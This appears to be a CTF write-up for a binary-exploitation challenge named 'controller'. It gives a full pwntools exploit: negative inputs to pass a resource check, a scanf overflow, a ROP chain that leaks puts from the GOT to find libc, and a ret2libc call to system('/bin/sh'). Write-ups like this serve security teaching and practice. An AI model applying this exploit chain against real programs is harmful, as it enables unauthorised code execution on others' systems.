Pwn - Controller

The challenge gives us a file named controller and the libc used. So we tell pwntools to load them.

elf = ELF("controller")
elf_rop = ROP(elf)
libc = ELF("libc.so.6")

We need to find a vulnerability, so first thing we do is disassemble the controller executable and search for any weird code. Inside the calculator function we can find the usage of a scanf using the "%s" formatter to some address on the stack. This means that we can write as much data as we want, this allows us to rewrite the stack frames to execute the functions we want.

To access this overflow we need to go through the report problem section of the program.

This part is accessible if we somehow find an operation with two numbers below or equal to 0x45 that gives us 65338. If any of these two number is above it gives us an error "We cannot use these many resources at once" and exits.

A scanf with the "%d" formatter is used to retrieve both numbers. This allows us to pass negative numbers.

So here comes the hardest maths of the whole ctf (including the crypto challenges).

We will use a multiplication and we need to find a and b both under 70 that when multiplied together gives 65338 so here is our difficult computation -32669 * -2 = 65338.

Now that we answered this difficult math question, we navigate the menus until we are asked for this payload.

def prepare_overflow():
    conn.recvuntil("Insert the amount of 2 different types of recources: ")

    # Choose the two magic numbers
    conn.sendline("-32669 -2")
    conn.recvuntil("> ")

    # Choose to do a multiplication
    conn.sendline("3")
    conn.recvuntil("> ")

The scanf starts at [rbp - 0x28] so we need to fill the start of the payload with 0x28 garbage bytes.

offset_overflow = b"A" * (0x28)

The first thing we need to do is to retrieve to libc base address. This allows us to return to any function on the libc (ret2libc). This means that we can return to a function such as system and execute a shell.

def retrieve_libc_base():
    with log.progress("retrieving libc base") as progress:
        # The payload will consist of the beginning garbage bytes then we will
        # leak the value of the `puts` function on the global offset table.
        # To do this we'll to load the address from where to print in the `rdi`
        # register (which is the first argument) so we use a gadget that will
        # pop the next value from the stack.
        progress.status("forging rop")
        rop = offset_overflow
        rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
        rop += p64(elf.got["puts"])

        # Then once the value we want is loaded into `rdi` we can return to the
        # puts function to print the value.
        rop += p64(elf.plt["puts"])

        # Finally we return to main to continue the execution with a known libc
        # address.
        rop += p64(elf.symbols["main"])

        progress.status("waiting for overflow preparation")
        prepare_overflow()

        progress.status("sending overflow")
        conn.sendline(rop)
        conn.recvline()

        # Now we retrieve the bytes that were written with `puts`.
        # We then remove the offset of the `puts` symbol inside the libc and we
        # now know the libc base address.
        progress.status("calculating libc base address")
        leak = conn.recvline().strip()
        leak = u64(leak.ljust(8, b"\x00"))
        libc.address = leak - libc.symbols["puts"]

Now that we know the libc base address, we need to open a shell to be able to print the flag.

def retrieve_shell():
    with log.progress("retrieving a shell") as progress:
        # This time the rop will consist of a similar thing, loading the address
        # of the "/bin/sh" string into the `rdi` register.
        # We can search for this string inside the libc.
        progress.status("forging rop")
        rop = offset_overflow
        rop += p64(elf_rop.find_gadget(['ret']))
        rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
        rop += p64(next(libc.search(b"/bin/sh")))

        # Now that the command is loaded, we continue by returning to the
        # `system` function.
        rop += p64(libc.sym["system"])

        # And finally we gracefully exit.
        rop += p64(libc.sym["exit"])

        progress.status("waiting for overflow preparation")
        prepare_overflow()

        progress.status("sending overflow")
        conn.sendline(rop)
        conn.recvline()

And finally, let's put all of this together and cat this flag!

retrieve_libc_base()
retrieve_shell()
conn.sendline("cat flag.txt")
log.success(conn.recvlineS())